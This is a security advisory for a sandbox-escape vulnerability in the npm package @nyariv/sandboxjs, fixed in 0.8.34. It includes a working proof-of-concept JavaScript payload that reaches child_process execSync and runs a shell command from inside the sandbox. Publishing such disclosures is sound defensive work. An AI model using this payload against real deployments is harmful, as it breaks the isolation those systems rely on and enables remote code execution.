GHSA-6r9f-759j-hjgv
SandboxJS affected by a Sandbox Escape
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @nyariv/sandboxjs | < 0.8.34 | 0.8.34 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.
### Details
There are various ways to get an array containing `Function`, e.g.
```js
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
```
Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.
### PoC
```js
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();
```
### Impact
Sandbox Escape -> RCE
References
External links from the advisory. They lead to third-party sites.
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv
- https://nvd.nist.gov/vuln/detail/CVE-2026-26954
- https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085
- https://github.com/nyariv/SandboxJS
- https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34